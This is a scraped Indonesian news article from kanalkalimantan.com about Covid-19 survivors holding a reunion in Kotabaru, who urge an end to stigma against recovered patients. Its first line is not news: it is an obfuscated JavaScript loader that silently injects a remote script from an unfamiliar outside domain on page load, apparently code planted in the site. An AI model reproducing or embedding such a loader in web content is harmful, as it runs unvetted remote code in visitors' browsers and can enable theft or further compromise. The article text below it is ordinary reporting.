(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, KOTABARU – Nampak akrab dalam suasana sore menjelang senja, beberapa warga yang sembuh melawan alias penyintas Covid-19 melakukan pertemuan bersama. Bisa dikatakan reuni bagi mereka yang sembuh setelah dirawat beberapa waktu di Rumah Sakit Umum Daerah Stagen Kabupaten Kotabaru.
Dalam reuni para pejuang ‘lulusan covid’ itu berbagai macam makanan dan minuman disajikan di atas meja. Menurut mereka hanya satu kalimat yakni, jalinan silaturahmi dan kekeluargaan semacam itu harus dijaga dengan baik. Apalagi, mereka semua pernah merasakan virus yang sudah memakan banyak korban jiwa.
“Tujuan kami bertemu ini bukan hanya temu kangen saja. Melainkan juga untuk terus menjalin tali silaturahmi dan sudah seperti keluarga sendiri kami semua ini,” cetus Fitri Lutfiana, seorang tenaga pengajar di SMKN 2 Kotabaru, kepada kanalkalimantan.com, Sabtu (13/8/2021) sore.
Baca juga: GEGER. Warga Temukan Mayat Perempuan di Genangan Sawah di Desa Keliling Benteng
Dikatakannya lebih jauh, ia berharap pasien yang dinyatakan sembuh jangan malah dijauhi karena menurutnya penyakit Covid-19 bukan aib, seperti halnya HIV AIDS.
“Kami semua ini sembuh karena semangat yang kuat dan itu terbukti. Bagi mereka yang belum sembuh dan masih berada di rumah sakit agar selalu happy serta semangat untuk berpikir positif, jangan sampai pesimis,” jelasnya.
Kumpul bersama para pejuang ‘lulusan covid’ agar saling berbagi, bertukar pendapat, sehingga bisa saling mengingatkan utamanya untuk keluarga di rumah.
“Menurut kami, ketika masyarakat ada yang merasa kurang enak badan atau kondisi sudah menjurus ke Covid-19 sebagai deteksi awal, segera saja memeriksakan ke rumah sakit agar ketahuan apakah kita positif atau tidak. Jangan malu untuk mengakui kita positif, karena dengan begitu kita bisa menyelamatkan orang lain. Sekali lagi terus semangat untuk kebaikan bersama,” imbuhnya.
Baca juga: Survei: 67 Persen Responden Tak Puas Kebijakan PPKM Darurat
Senada Fitri Lutfiana, Normasari atau yang akrab disapa Nene Enok berusia 57 tahun menyatakan bahwa semangat dan optimis adalah kunci keberhasilan sembuh dari Covid-19. Ia juga menceritakan pengalamannya saat pertama kali sudah dinyatakan boleh pulang oleh tim medis rumah sakit.
“Mungkin pertama kali saya pulang ke rumah, masyarakat terkesan menjauhi karena takut atau apalah, saya juga kurang faham. Yang jelas, saya juga tahu diri dan hanya berdiam di dalam rumah sampai kondisi dirasa benar-benar sehat, karena masih dalam tahap pemulihan ketika kembali dari rumah sakit Stagen,” ujarnya.
Ia sangat berharap, masyarakat terus dan ketat menjalankan protokol kesehatan sebagaimana anjuran pemerintah. “Satu halnya juga adalah selalu menjaga kesehatan dan terapkan 5 M, karena dengan begitu secara tidak langsung kita ikut menutus mata rantai penyebaran Covid-19,” tutupnya. (kanalkalimantan.com/ muhammad)
Reporter : muhammad
Editor : kk
KANALKALIMANTAN.COM, BANJARBARU - Forum Ambin Demokrasi turut menyikapi jalannya proses demokrasi dalam Pemilihan Wali Kota… Read More
KANALKALIMANTAN.COM, BANJARBARU - Kota Banjarbaru mulai masuk masa tenang jelang Pemilihan Kepala Daerah (Pilkada) Serentak… Read More
Coblos Paslon yang Dibatalkan Suara Dianggap Tidak Sah Read More
KANALKALIMANTAN.COM, BANJARBARU - Penjabat Sementara (Pjs) Wali Kota Banjarbaru Dra Hj Nurliani MAP telah bertugas… Read More
KANALKALIMANTAN.COM, AMUNTAI - Menjelang hari pemilihan dan memasuki masa tenang Pemilihan Kepala Daerah (Pilkada) 2024,… Read More
KANALKALIMANTAN.COM, AMUNTAI - Komisi Pemilihan Umum (KPU) Kabupaten Hulu Sungai Utara (HSU) mulai mendistribusikan logistik… Read More
This website uses cookies.